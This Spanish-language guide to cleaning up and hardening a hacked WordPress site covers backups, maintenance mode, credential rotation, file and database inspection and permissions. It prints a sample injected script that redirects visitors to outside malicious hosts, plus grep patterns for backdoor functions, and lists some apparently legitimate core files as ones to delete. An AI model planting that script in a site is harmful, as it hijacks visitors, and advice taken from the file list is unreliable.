Únete a nosotros mientras exploramos las estrategias de “Recuperación y Hardening de tu Sitio Web”. Desde la rehabilitación después de un ataque hasta fortificar tus defensas, descubre cómo proteger tu presencia en línea.
¿Te gustaría enterarte de cuando lanzamos descuentos al Máximo o Nuevos Cursos?
Haz copia de seguridad de la web hackeada
Este es un paso que mucha gente no realiza y es importantísimo para poder analizar todos los posibles elementos que puedan haber provocado la vulnerabilidad, así como para la revisión exhaustiva de archivos infectados, etc. También, en caso de necesidad, desde esta copia de seguridad, puedes recuperar, tras una revisión exhaustiva de los mismos, algunas configuraciones, imágenes y contenidos que vayas a necesitar, si no dispones de copias de seguridad limpias de tu web.
Otra medida que puedes hacer, por si tus contenidos no hubiesen sido comprometidos, es exportar las entradas, páginas, productos, etc. Si usas WordPress, en la sección de administración de Herramientas → Exportar. Así que haz una copia de seguridad de la web WordPress ya infectada y guárdala a buen recaudo, para su análisis posterior.
Asegúrate que no pierdes nada importante en el proceso de limpieza y restauración. A través del FTP o administrador de archivos, descarga los siguientes ficheros a tu equipo (ejemplo con sitio creado con WP):
- Carpeta /wp-content/ completa. Contiene tus temas, plugins, imágenes y vídeos.
- Fichero /wp-config.php. Es donde está la configuración importante de WordPress, como la conexión a la base de datos.
- Fichero /.htaccess (¡de este ya deberías tener una copia del paso #1!).
- Fichero /.robots.txt
- Fichero /favicon.ico, aunque éste suele ir en la carpeta del tema.
Cada uno de estos ficheros son únicos en las instalaciones de WordPress, y son los importantes de conservar.
No nos podemos olvidar de la parte más importante de la instalación. Si tu base de datos se corrompe o borra, habrás perdido todas tus entradas, páginas, comentarios, etc. Para realizar esta copia, tenemos varios métodos. Si usas cPanel, puedes ir a “Respaldos”, y desde allí hacer una copia de la base de datos, que se descargará en tu equipo.
Diferentes servicios de alojamiento pueden tener opciones diferentes. La más estándar pero avanzada, sería acceder a la base de datos por phpMyAdmin y realizar una exportación completa. Si has tenido suerte y eres organizado, tendrás ya una copia de seguridad completa de WordPress en la nube realizada recientemente. Te recomiendo tener de todos modos más de una copia, por si acaso.
Dado que el propósito de una copia de seguridad es restaurar el sitio web en caso de un accidente, asegúrese de que sea funcional. Una copia de seguridad que no restaura su sitio web a su estado de funcionamiento completo no es más que un desperdicio. La mayoría de los servicios de alojamiento ofrecen funciones de respaldo.
Póngase en contacto con su proveedor de alojamiento para conocer el proceso de copia de seguridad. Además de eso, también puede hacer una copia de seguridad manualmente a través de un cliente SFTP como Filezilla. He enumerado a continuación las diferentes formas en que puede realizar una copia de seguridad de su sitio:
Archivos de respaldo
1. En WordPres use un complemento WordPress también tiene un montón de complementos de copia de seguridad como UpdraftPlus que simplifican el proceso. Puede realizar una copia de seguridad completa de su sitio con archivos y base de datos.
- Instala y activa el complemento.
- Haga una copia de seguridad de su sitio web y almacene localmente o en la nube.
2. Vía SSH Para hacer una copia de seguridad de sus archivos, esto es lo que puede hacer,
- Acceda a su sitio web a través de SSH.
- Y ejecuta el comando – zip -r backup-pre-cleanup.zip
Esto hará un archivo zip de su sitio web que luego podrá descargar en su PC.
3. Vía SFTP
- Acceda a su sitio web a través del cliente SFTP como FileZilla.
- Simplemente haga una carpeta de respaldo en su PC y copie el contenido allí.
Como esto requiere un esfuerzo manual, puede llevar más tiempo que los métodos anteriores.
Base de datos de respaldo
Para hacer una copia de seguridad completa de su base de datos, puede hacer lo siguiente:
1. Copia de seguridad a través de un complemento: Una vez más, puede usar el mismo complemento UpdraftPlus para hacer una copia de seguridad de su base de datos.
2. Copia de seguridad a través de PHPMyAdmin: De lo contrario, puede exportar su base de datos y almacenarla en su PC a través de PHPMyAdmin.
- Acceda a su base de datos de WordPress por PhpMyAdmin.
- Exporte la base de datos completa fácilmente. Almacene esto en la misma carpeta que arriba o haga una diferente de acuerdo a su preferencia.
3. Copia de seguridad a través de SSH
- Acceda a su sitio web a través de SSH.
- Y ejecuta el siguiente comando: mysqldump -p -h hostname -u username database > backup-pre-cleanup.sql
Recuerde cambiar las credenciales (nombre de usuario, contraseñas, nombre de host, etc.) antes de realizar una copia de seguridad de la base de datos. Además, recuerde eliminar la copia del servidor de archivos después de haberla almacenado en local.
Si tienes copia de seguridad, restaura una copia de seguridad limpia
Quien hace un backup de WordPress tiene dos vidas (o tantas vidas como copias de seguridad haya guardado). Hacer copias de seguridad debería de ser parte de tu rutina así como actualizar el contenido y el core, o plugins de WordPress. Si tienes copias de seguridad de tu web es el momento de restaurar una copia de la que estés seguro que no está infectada, para recuperar tu sitio. Solo son 2 sencillos pasos:
- Borra TODA la instalación infectada, al completo.
- Restaura la copia de seguridad limpia.
Si no tienes copia de seguridad, instala todo desde cero
En caso de que no tengas ninguna copia de seguridad que estés totalmente seguro de que está totalmente limpia de infecciones o hackeos, entonces hay que instalar todo desde cero:
- Instala la última versión WordPress segura usando la descarga oficial.
- Instala la última versión segura del tema usando la descarga oficial.
- Instala las últimas versiones seguras de todos los plugins que necesites.
- Si tienes una copia limpia de las imágenes y archivos de la carpeta /uploads/ súbela, pero solo si estás totalmente seguro.
- Si tienes una exportación limpia de entradas, páginas, productos, etc. impórtala (Herramientas → Importar), pero solo si estás seguro de que no tienen nada inyectado.
PONER TU SITIO EN MANTENIMIENTO
No hay forma de poder limpiar un sitio web que está online, mientras nos siguen infectando. Para eso lo mejor es ponerlo en modo mantenimiento, y poder trabajar con los ficheros y base de datos tranquilamente. Sigue los siguientes pasos para poner tu sitio en mantenimiento de una manera amigable para el SEO, y no perder posicionamiento.
Vamos a crear un fichero en la raíz de tu carpeta pública del servidor. Normalmente es la misma donde se encuentran las carpetas wp-includes, wp-admin o wp-content. Crea una página Web de “Modo en mantenimiento”, la cual vas a llamar 503.php, y lleva el siguiente código:
<?php
header(“HTTP/1.1 503 Service Temporarily Unavailable”);
header(“Status: 503 Service Temporarily Unavailable”);
header(“Retry-After: 7200″);
?>
<html>
<h1>Esta página web está en mantenimiento, y pronto volveremos a estar online.</h1>
<h2>Por favor, vuelve a visitarnos en un rato.</h2>
</html>
Aquí le dices a los buscadores que estás fuera de servicio temporalmente, para que no te penalice, y que te vuelva a visitar en un par de horas. Entre las etiquetas <html> pones el mensaje que quieras que aparezca a las personas que te visiten. Además si quieres le puedes añadir el código de Google Analytics para saber qué visitas tuvimos durante el “apagón”. Ahora tenemos que modificar el fichero .htaccess. Añade las siguientes líneas al principio del todo:
RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^111\.111\.111\.111
RewriteCond %{REQUEST_URI} !/503.php$ [NC]
RewriteRule .* /503.php [R=302,L]
Con este código en el .htaccess rediriges todo el tráfico de tu web a la página que hemos creado. De esta forma no importa como llegue un visitante a tu web, verá esta página. ¡Y recuerda hacer antes una copia de tu fichero .htaccess! Cuando todo este OK nos hará falta.
Otra opción es crear un archivo llamado index.html, subirlo a la carpeta raíz de tu servidor, y poner un texto de aviso. Aquí te dejo un ejemplo sencillo de lo que podría contener, y que puedes usar si no tienes algo mejor:
<!doctype html>
<title>Web en mantenimento</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
a:hover { color: #333; text-decoration: none; }
</style>
<article>
<h1>¡La web está en mantenimiento - Estaremos pronto de vuelta!</h1>
<div>
<p>Sentimos las molestias, estamos realizando algunas tareas de mantenimiento en la web en este momento. Si necesitas algo de nosotros puedes <a href="mailto:tu@correo.com">contactarnos por email</a>, la web volverá a estar activa pronto</p>
<p>— El equipo</p>
</div>
</article>
Google Webmaster Tools
Google Webmaster Tools es un servicio de Google que nos ayuda a monitorizar y mantener un buen posicionamiento en los resultados de las búsquedas en Google. Para ello, nos da información sobre cualquier problema que los robots de indexación de Google tengan a la hora de acceder a nuestros contenidos. Una de las funcionalidades que incluye es la detección de software malicioso y software no deseado.
Otra de las funcionalidades que resulta especialmente útil para el caso que nos ocupa es el reenvío de mensajes al correo electrónico. Activando esta opción puedes estar relativamente tranquilo, puesto que recibirás un correo electrónico tan pronto como Google detecte que tu site ha sido infectado.
Si este es el caso, y teniendo en cuenta que Google suele tener una tasa de acierto muy alta, es hora de ponerte en modo alerta roja y seguir los pasos que describimos hoy en esta entrada. Tal y como puedes ver en el enlace anterior, para activar el envío de correos, simplemente:
- haz clic en el icono de rueda dentada que aparece en la página principal de Search Console,
- pulsa en Preferencias y, finalmente,
- en la opción Reenviar mensajes, selecciona la dirección de correo electrónico que quieras utilizar.
CAMBIAR TODAS LAS CONTRASEÑAS
Debes cambiar las contraseñas de acceso a absolutamente todo lo relacionado con tu web, Cree nuevas contraseñas automáticas con la ayuda de una herramienta de administración de contraseñas como LastPass o KeePass para cada una de estas cuentas. La contraseña ideal debería tener al menos 16 caracteres, incluyendo letras, números y símbolos.
También recomendamos activar la autenticación de dos factores y limitar los intentos de inicio de sesión para añadir capas adicionales de protección a tus credenciales de inicio de sesión. Comprueba que usuarios tienen privilegios de administrador pero no los reconoces. ¡No deben ser muchos! Los que encuentres, elimínalos. y una lista exhaustiva, pero quizás no completa, sería la siguiente:
- Comprueba que usuarios tienen privilegios de administrador pero no los reconoces. ¡No deben ser muchos! Los que encuentres, elimínalos.
- Contraseñas de acceso de usuarios SQL a TODAS las bases de datos, incluso de las – a priori – no infectadas. Más seguro aún es borrar los usuarios SQL actuales y crear todos nuevos, con contraseñas nuevas.
- Contraseñas y usuarios de acceso FTP y SFTP. Borra TODOS los accesos actuales y crea nuevos, solo los exclusivamente necesarios.
- Contraseñas de acceso a WordPress de TODOS los usuarios. No es suficiente con enviar un correo electrónico para que las cambien, fuerza el cambio o cámbialas todas en masa.
- Contraseñas de correo electrónico de TODOS los usuarios.
- Contraseñas de acceso a servicios que interactúen con tu web, como CDN, cuentas de WordPress.com, GMail, licencias de plugins y temas, servicios de newsletter, etc.
Recuerda que las contraseñas no deben de ser guardadas en tu navegador ni anotadas en archivos sueltos dentro de tu dispositivo. Cuando generes una contraseña utiliza caracteres alfanuméricos, caracteres especiales y mayúsculas. Usa tu imaginación. En todo login donde puedas, intenta activar el segundo factor de autenticación. Esto es súper útil para que, si roban tus contraseñas o si caen en manos incorrectas, no puedan acceder a tu cuenta salvo que pasen por este paso.
Si perdiste el acceso al panel de admin de tu WordPress a causa de que la contraseña fue cambiada por alguien más, podrías recuperarla fácilmente desde el enlace “olvidé contraseña”, pero si el profile de tu cuenta WordPress fue modificado por quien tiene el control ahora, sólo dispararías una alerta al correo que haya configurado el impostor.
Lo mejor es recuperar el acceso por sorpresa. Todo proveedor de hosting tiene en su panel de control a phpMyAdmin: un panel para gestionar las bases de datos de tu sitio; y como WordPress almacena absolutamente todo en la base de datos, podes cambiar de manera forzada la contraseña.
En caso de que no puedas acceder a tu panel de control cPanel (o al panel de control proporcionado por tu proveedor de hosting), entonces estamos un poco más complicados, y puede que toda tu cuenta de hosting esté comprometida (inclusive la parte de billing). Si esto es lo que te ocurre, es crucial que te contactes con tu prestador a fin de que haga una revisión general y te genere nuevas credenciales de acceso.
CAMBIAR LAS CLAVES DE AUTENTIFICACIÓN DE WORDPRESS (KEYS Y SALTS)
WordPress usa diferentes claves de autentificación en WordPress para encriptar la información almacenada en las cookies de sesión, y así hacer tu sitio web más difícil de hackear. Además al cambiarlas, vamos a invalidar cualquier sesión que ya esté abierta, dejando sin acceso a nuestro escritorio de WordPress a los “chicos malos”.
Así que el siguiente paso es asegurarnos de que las usas, y si es que sí, cambiarlas. Entre las “keys” y las Salts” tenemos un total de 8 claves. ¡Pero no te preocupes que no las tienes que recordar! Simplemente no las compartas nunca.
Puedes generar unas nuevas usando el generador oficial de claves de WordPress. Aprovecha que tienes abierto wp-config.php para localizar dónde van estas claves, y sustitúyelas por las nuevas generadas. Cuando cambias la contraseña de la base de datos desde tu panel de control, también debes cambiarla inmediatamente en el fichero wp-config.php, para que después no tengas problemas. Abre el fichero wp-config.php mediante FTP o el administrador de ficheros, y localiza la sección donde se configura la base de datos:
/* The name of the database for WordPress */
define(‘DB_NAME’, ‘putyourdbnamehere’);
/* MySQL database username /
define(‘DB_USER’, ‘usernamehere’);
/* MySQL database password /
define(‘DB_PASSWORD’, ‘yourpasswordhere’); <=Actualiza tu contraseña aquí.
/* MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
Desactivar plugins y temas
Desactivar tus plugins y temas y luego reactivarlos uno por uno te permite reducir las instalaciones infectadas. Una vez que descubras las instalaciones defectuosas, desactívalas y elimínalas. Este sería también el momento perfecto para eliminar las instalaciones que no se utilizan en tu sitio web. Tener temas y plugins innecesarios instalados en tu sitio puede crear puntos de acceso para que el malware lleve a cabo hackeos, incluso si están inactivos.
Además, debes desinstalar los plugins y temas obtenidos fuera de los directorios oficiales ya que estos tipos de software tienen un mayor riesgo de portar código malicioso. Las vulnerabilidades en los complementos de terceros son otra razón común para que CMS como WordPress sea hackeado.
De hecho, la investigación dice que hasta el 67% de los hacks de WordPress son el resultado de vulnerabilidades de complementos. Por lo tanto, antes de saltar al proceso de limpieza, asegúrese de que las versiones actuales de sus complementos estén libres de vulnerabilidades.
Cuando hablamos de plugins o themes pirateados se trata de plantillas o complementos de pago que hayas obtenido por otra vía que no sea comprándolos en su sitio oficial, o pagando lo que corresponde.
Sabemos que es tentador obtener plugins o themes que son pagos, a bajo precio o totalmente gratis; pero las consecuencias suelen ser fatales para tu web y la reputación de tu negocio a lo largo del tiempo. Si deseas conservarlos, te recomendamos desinstalarlos, comprar las copias originales, y luego instalarlos legalmente como corresponde.
Será toda una inversión y te ahorrarás varios dolores de cabeza. Si nosotros nos encargamos de recuperar tu web, será lo primero que eliminaremos.
Compara tu instalación de WordPress frente a una instalación limpia
El mayor problema cuando eres infectado es que los atacantes colocan puertas traseras para asegurarse el acceso a tu sitio web de nuevo. Tras descargar el sitio escanéalo con una antivirus. Compara tu instalación con un WordPress recién descargado, para observar si tu instalación contiene archivos que no son de la instalación estándar.
Si detectas archivos que no están en la instalación oficial ábrelos para analizar si son archivos que subiste para algún propósito concreto y, ante la duda, descarga una copia y bórralos.
Debes hacer esto con todas las carpetas, y sus subcarpetas, de la instalación de WordPress (wp-admin, wp-includes, wp-content, etc.) El modo más rápido y recomendable es usar un gestor de archivos (FTP, administrador de archivos del hosting, administrador de archivos local, etc.) y, ordenando los archivos por la fecha de la última modificación y última inclusión, buscar archivos diferentes, con distinto peso, distinto contenido.
Antes de empezar esta tarea es conveniente, como te recomendé antes, analizar los registros (logs) del servidor, además de empezar buscando los archivos que los escáneres de seguridad hayan detectado como malware o infectados.
Compara tu instalación de WordPress frente a una instalación limpia
El mayor problema cuando eres infectado, es que los hackers colocan puertas traseras para asegurarse el acceso a tu sitio web de nuevo. Tras descargar el sitio escanealo con una antivirus. Compara tu instalación con un WordPress recién descargado, para observar si tu instalación contiene archivos que no son de la instalación estándar.
Si detectas archivos que no están en la instalación oficial ábrelos para analizar si son archivos que subiste para algún propósito concreto y, ante la duda, descarga una copia y bórralos. Debes hacer esto con todas las carpetas, y sus subcarpetas, de la instalación de WordPress (wp-admin, wp-includes, wp-content, etc.)
El modo más rápido y recomendable es usar un gestor de archivos (FTP, administrador de archivos del hosting, administrador de archivos local, etc.) y, ordenando los archivos por la fecha de la última modificación y última inclusión, buscar archivos diferentes, con distinto peso, distinto contenido.
Antes de empezar esta tarea es conveniente, como te recomendé antes, analizar los registros (logs) del servidor, además de empezar buscando los archivos que los escáneres de seguridad hayan detectado como malware o infectados. Tenga cuidado de descargar archivos de acuerdo con su versión de WordPress.
Tenga en cuenta las diferencias para su posterior análisis. Si hay algunos enlaces maliciosos inyectados, elimínelos de inmediato. Además, verifique los archivos para ciertas palabras clave como: eval, exec, strrev, afirmar, base64, str_rot13, Stripslashes, preg_replace (con / e /), move_uploaded_file, etc.
Puede simplificar aún más la búsqueda de estas palabras clave utilizando líneas de comando. Por ejemplo, para buscar archivos con la palabra clave base64 ejecute el siguiente comando:
sudo grep -ril base64 /
Ahora, reemplace ‘base64’ con cada palabra clave para recuperar los archivos que los contienen y luego revíselos con atención.
Desactivar la ejecución de PHP
Los atacantes pueden crear puertas traseras en los sitios web subiendo archivos con código malicioso a la carpeta Uploads. Desactivar la ejecución de PHP les impide ejecutar esos archivos infectados. Crea un archivo .htaccess en la la carpeta wp-content/uploads/ y añade el siguiente código en .htaccess:
<Files *.php>
deny from all
</Files>
REVISAR DIRECTORIOS EN BUSCA DE FICHEROS MALICIOSOS EN TU SERVIDOR
Descarga una copia limpia del último WordPress disponible que estuvieras usando en tu sitio web. Si eres precavido estarás actualizado a la última. Descomprímela y navega por los ficheros, para familiarizarte con los que vienen en una instalación por defecto. Una vez los has recorrido, accede a tu servidor por FTP y busca ficheros sospechosos que no sean los habituales. Los que encuentres probablemente sean malware. El sitio habitual suele ser el directorio /wp-content/.
Puedes borrar con tranquilidad los directorios /wp-admin/ y /wp-includes/, y restaurarlos con la copia limpia recién descargada. Así que no interesa infectar estos directorios, pues son fácilmente “limpiables”. En /wp-content/, puedes ir borrando carpetas de plugins, y sustituyéndolas por descargas limpias. ¡Siempre que sean la misma versión! ¿Ves lo importante que es estar actualizado? No sólo para protegerte, hasta para reparar es bueno.
A veces los atacantes no infectan los ficheros de WordPress, sino que infectan o te colocan ficheros en tu servidor directamente. Utilizan en muchas ocasiones etiquetas Iframes, para cargar sitios remotos, o un fichero ejecutable tipo exe, cmd, etc… que infecte el equipo de tus visitantes. ¡Así que atento a este código! Busca por ejemplo:
- Iframes ocultos: <iframe style=”width:0;height:0;”> al principio de un fichero html.
- Bloques de código ininteligibles: %wwww%yyy%zzz%/999/. Esto normalmente es código encriptado para ocultar el malware, así que lo puedes eliminar. Herramientas como Screaming Frog SEO Spider, Screpy, SEO PowerSuite, Xenu’s Link Sleuth and SiteAnalyzer te ayudarán a encontrarlo. También mira los enlaces internos y externos, y así podrás averiguar a dónde estás mandando tráfico y si hay algún sitio sospechoso.
- Busca en comentarios o áreas que puedan ser editadas por usuarios. Recuerda que usar plugins como Akismet te ayuda a reducir el SPAM y las infecciones.
- Revisa tu fichero .htaccess. Es el sitio favorito para hacer redirecciones y añadir código malicioso. Asegúrate de revisarlo desde el principio hasta el final. A veces el código malicioso está debajo de cientos de líneas vacías.
- En el mismo caso que el anterior, revisa a fondo el fichero wp-config.php, sobre todo tras la línea “Require_once(ABSPATH.’wp-settings.php’);”
- Por supuesto revisa todos los ficheros que son descargables en tu sitio web.
- Elimina los siguientes ficheros:
- /wp-includes/xmlrpc.php
- /wp-includes/css/css.php
- /wp-includes/css/style.php
- /wp-includes/js/jquery/jquery.js
- /wp-content/upd.php
- /wp-content/themes/[nombre del tema]/temp/e9815adced6d3.php (o similar)
- /wp-admin/upd.php
- Elimina todas las imágenes, ficheros zip u otros ficheros que ya no se necesiten
- Elimina todos los plugins que no se usen.
- Elimina todos los temas de WordPress que no se usen.
Busca archivos o tipos de archivo sospechosos concretos
Si ya tienes claro qué nombres de archivo o que extensiones de archivo buscar, si tienes acceso por SSH a tu instalación puedes hacer una búsqueda del archivo o tipo de archivo que buscas. Aquí tienes unos ejemplos de posibles búsquedas:
//Buscar y mostrar todos los archivos html
find . -type f -name '*.html'
//Buscar y mostrar todos los archivos php
find . -type f -name '*.php'
//Buscar y mostrar todos los archivos js
find . -type f -name '*.js'
//Buscar un archivo concreto
find . -type f -name 'no-soy-sospechoso-que-va.php'
Una búsqueda diferente sería localizar aquellos archivos que hayan sido modificado o subidos recientemente. Por ejemplo, con el siguiente comando tendremos una lista de los archivos que han sido modificados los últimos 7 días:
find .mtime -7 –ls | less
A partir de esta lista seguiríamos buscando, analizando, e incluso abriendo archivos para comprobar su integridad y localizar el código malicioso.
Busca textos concretos
Si sabemos exactamente que texto o URL buscar, bien porque son URLs a las que redirige nuestra web o porque es un texto no deseado que se muestra en alguna parte, podemos realizar una búsqueda de esa cadena de texto concreta para detectar en qué archivo de nuestra instalación está inyectado. De nuevo usaríamos la interfaz de comandos para realizar la búsqueda, por ejemplo:
grep –Ril www.urlmaliciosa.com
Este comando mostrará una lista de los archivos que contengan la URL www.urlmaliciosa.com para que puedas localizarlos rápidamente y limpiar el código. Aparte de esa cadena de texto tan obvia de la URL, aquí tienes una lista de códigos y textos que se suelen utilizar en las webs WordPress hackeadas. Puedes utilizar la herramienta grep para buscar lo siguiente:
- base64_decode
- is_admin
- eval
- gzuncompress
- passthru
- exec
- shell_exec
- assert
- str_rot13
- system
- phpinfo
- chmod
- mkdir
- fopen
- fclose
- readfile
Una forma rápida de conseguirlo utilizando grep es a través del siguiente comando grep, que busca archivos de forma recursiva (sigue cualquier enlace simbólico), busca las cadenas que coinciden con la expresión regular especificada, y devuelve el texto coincidente así como el número de línea donde se produjo la coincidencia.
grep -RPn "(base64_decode|is_admin|eval|gzuncompress|passthru|exec|shell_exec|assert|str_rot13|system|phpinfo|chmod|mkdir|fopen|fclose|readfile) *\("
Eso sí, ten en cuenta que parte de este código también puede ser utilizado en código legítimo, por lo que hay que analizar el código adecuadamente y entender cómo se está utilizando antes de marcar algo como una infección o un hack.
Comprobación y limpieza de bases de datos infectadas o hackeadas
Después de limpiar tus instalaciones el siguiente paso es revisar los registros de tu base de datos. Elimina cualquier registro que contenga código malicioso y los nuevos registros que no reconozcas para evitar que los atacantes creen puertas traseras a través de una inyección en la base de datos.
Ten en cuenta que hacer este proceso manualmente es arriesgado y lleva mucho tiempo, especialmente si tienes muchos registros. Además, el sitio podría dañarse de forma irreparable si borras accidentalmente los registros equivocados. Para revisar y limpiar la base de datos de tu sitio WordPress utiliza la herramienta de administración de bases de datos MySQL de tu hosting, que normalmente será phpMyAdmin.
- Busca el contenido sospechoso (palabras clave de spam, textos no deseados, enlaces, etc.).
- Abre la tabla que contenga contenido sospechoso.
- Elimina manualmente cualquier contenido sospechoso.
- Realiza una prueba para comprobar que tu sitio sigue funcionando después de los cambios.
Los principiantes pueden utilizar la información sobre la carga útil que proporcionan los escáneres de malware que vimos antes. Los usuarios intermedios también pueden buscar manualmente las funciones maliciosas más comunes de PHP, como eval, base64_decode, gzinflate, preg_replace, str_replace, etc.
Otro método que los hackers utilizan para entrar ilegalmente en tu web es mediante funciones PHP de puerta trasera que se inyectan en archivos como wp-config.php y .htaccess, así como con directorios como /themes/, /plugins/, o /uploads/.
Las funciones PHP más comunes, como base64, eval, exec y preg_replace, se utilizan para las puertas traseras y para el uso legítimo de la mayoría de los plugins de WordPress. Por lo tanto, además de evitar cualquier ruptura del sitio, hay que limpiar adecuadamente las puertas traseras para evitar cualquier reinfección de la web. Aquí hay un ejemplo de un código de redireccionamiento insertado en la base de datos:
<script>
const overlayTranslations = {"en":{"title":"Attention!","description":"Click “Allow†to subscribe to notifications and continue working with this website."}};
const overlay = {"delay":3000,"overlayStyle":{"background":"rgba(0,0,0, 0.6)"},"title":"Attention!","description":"Click “Allow†to subscribe to notifications and continue working with this website.",...(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])};
const s = document.createElement('script');
s.src='//webmaliciosa.com/pfe/current/xxx.js?z=2774009';
s.onload = (sdk) => {
sdk.updateOptions({overlay, overlayTranslations})
sdk.onPermissionDefault(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionAllowed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionDenied(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onAlreadySubscribed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onNotificationUnsupported(() => {});
}
document.head.appendChild(s);
</script>
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2574011" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script>
Limpiar el sitemap
Un mapa del sitio es un plano que ayuda a los motores de búsqueda a encontrar y rastrear el contenido de tu web. Si es hackeado, lo más probable es que tu posicionamiento en los motores de búsqueda caiga. Por eso vale la pena regenerar un nuevo mapa del sitio cuando se trata de ataques. Envía el nuevo mapa del sitio a Google para que lo rastree a través de Google Search Console.
Permisos de archivo
- 775 – Todas las carpetas: Esto significa un permiso de lectura, escritura y ejecutar para el usuario; sólo lectura y ejecutar para el grupo y ninguno a otros
- 440 – wp-config.php (public html folder): El wp-config es el archivo de configuración de WordPress y es uno de los archivos más sensibles. Protéjalo con un permiso de 400/440. Esto significa que incluso el usuario y el servidor no tiene derecho a editar, mientras que otros no pueden ni siquiera leer.
- 644 – Todos los Archivos PHP: Esto significa que los usuarios tienen permisos de lectura y permisos de escritura y grupos y otros sólo pueden leer los archivos. Esto asegurará que nadie que acceda a los archivos pueda alterarlos, aparte del propietario
- 444 – index.php (public html folder): El permiso 444 puede para una mayor seguridad que asegura sólo admin puede realizar cualquier escritura o ejecutar acciones
CAMBIAR TU PROVEEDOR DE HOSTING
Si tu sitio web se ejecuta en un alojamiento compartido, existe la posibilidad de que el problema provenga de otro sitio en el mismo servidor web. Ponte en contacto con tu proveedor de alojamiento para comprobar si los problemas de seguridad afectan a algo más que a tu sitio. Como mínimo, tu empresa de alojamiento debería ser capaz de recuperar el acceso a tu sitio de WordPress o proporcionar los registros de la web para ayudar a acotar el momento de la brecha.
Un proveedor de alojamiento desempeña un papel importante a la hora de garantizar que el rendimiento y la seguridad de un sitio web sean de la máxima calidad. Si crees que tu actual proveedor de alojamiento web no puede mitigar los ataques, es hora de buscar uno nuevo.
Considera la posibilidad de obtener un alojamiento gestionado de WordPress, ya que generalmente ofrece medidas de seguridad creadas específicamente para proteger los archivos y las instalaciones del sitio web. Una vez identificado lo que sucede en tu sitio web, el siguiente paso es ponerte en contacto con tu proveedor de alojamiento.
Si la empresa cuenta con un área de soporte de calidad, es muy probable que te ayuden con el problema. Ojo, hazles saber todos los detalles que anotaste en el paso anterior para que sepan identificar donde puede estar la fuente del hackeo y que te indiquen qué archivos modificar para solucionarlo.
Si tienes suerte, puede que incluso ellos lo solucionen por ti. Si la respuesta de tu proveedor cuando fuiste infectado y pediste ayuda fue un tutorial y nada más, ha llegado el momento de tomar una decisión. El momento de contratar un alojamiento web seguro.
FINALIZANDO.
En este momento tienes una Web prácticamente limpia, y todo debe estar funcionando bien. Es el momento de quitar el código que añadimos al fichero .htaccess en el paso 1, y retirar el fichero 503.php. Nuestro sitio volverá a la normalidad. No olvides mandar a Google una petición de que vuelva a escanear tu sitio web para que te elimine de las listas de sitios infectados, a través de las Google Webmaster Tools.
Así en más o menos un día, Google quitará el aviso de sitio infectado de tu web. Cuando termines de limpiar y hayas recuperado la web infectada o hackeada tu principal misión es evitar en lo posible que esto vuelva a suceder. Para ello mi recomendación es la siguiente:
- REALIZA UN TEST DE PENETRACIÓN: Como nada te garantiza que no seas atacado de nuevo, la mejor forma de prevenir es saber de qué forma eres vulnerable. Cuando termines de limpiar y hayas recuperado la web WordPress infectada o hackeada tu principal misión es evitar en lo posible que esto vuelva a suceder.
- ASEGURA BIEN FUERTE TUS CUENTAS DE EMAIL: De nada sirve asegurar servidor, panel de control, ec… si un simple “recuperar contraseña” las pone en bandeja. Para proteger el email, y tu WordPress, una gran idea es usar los servicios de doble autentificación. Añade también preguntas de seguridad, una cuenta de correo alternativa, y un móvil, para que puedas recuperar tu correo en caso de que la contraseña de acceso cambie.
- Analiza tu equipo y el de todos los administradores: Muchas veces se infecta nuestro sitio web a través de ficheros infectados en nuestro equipo, o bien tenemos contraseñas súper seguras que un keylogger nos captura con facilidad. También puede suceder que el origen de la vulnerabilidad provenga de un equipo infectado por malware o puertas traseras, así que nunca sobra analizar con un buen antivirus los dispositivos de todos los que tengan acceso de administrador a la web o el panel del hosting, pues cualquier cambio que hagas podría no servir de nada si sus dispositivos van a exponer las contraseñas nuevas.
- Haz una copia de seguridad de la web recién instalada y limpia: Si no vuelves a encontrar malware, o cualquier hackeo o puerta trasera es momento de hacer una copia de seguridad de la web totalmente limpia, y etiquetarla claramente por si tienes que volver a usarla para recuperar el sitio en el futuro.
Tambien cheuquea:
- Utiliza y fuerza siempre la conexión segura HTTPS mediante un certificado SSL.
- Activa, al menos, las cabeceras de seguridad HSTS y CSP.
- Pon en marcha una buena estrategia de copias de seguridad de WordPress, para evitar disgustos en el futuro.
- Instala un buen plugin de seguridad para WordPress.
- Realiza o contrata un buen mantenimiento de WordPress, manteniendo siempre todo actualizado.
- Impón el cambio periódico de contraseñas y que estas sean fuertes.
- Instala un plugin de registro de actividad, si no incorpora esta funcionalidad el plugin de seguridad, para controlar y analizar el tráfico y uso de la web.
- Protege contra escritura los archivos de configuración.
- Analiza si tu empresa de hosting hace lo suficiente para proteger tu sitio y, en caso contrario, cambia a una empresa de hosting de confianza.
- Evite usar contraseñas comunes o predeterminadas. Asegúrese de que el inicio de sesión de WordPress requiere una contraseña segura y aleatoria.
- Elimine las carpetas de la antigua instalación de WordPress del sitio, ya que pueden filtrar información confidencial.
- No utilice temas nulos o complementos de autores no reconocidos. Mantenga los complementos y temas existentes actualizados con los últimos parches.
- Use subredes mientras comparte el espacio de alojamiento con otros sitios.
- Asegúrese de que no haya puertos sensibles abiertos en Internet.
- Deshabilite la indexación de directorios para archivos sensibles de WordPress usando .htaccess.
- Restrinja las IP en función de los países desde donde detecte tráfico pesado de bots en el sitio.
- Siga las prácticas de codificación segura si es desarrollador de WordPress.
- Use SSL.
- Mantenga siempre una copia de seguridad de su sitio por separado.
- Cambie el nombre de wp-login.php a una babosa única.
- Use la autenticación de dos factores para iniciar sesión en su sitio de WordPress.
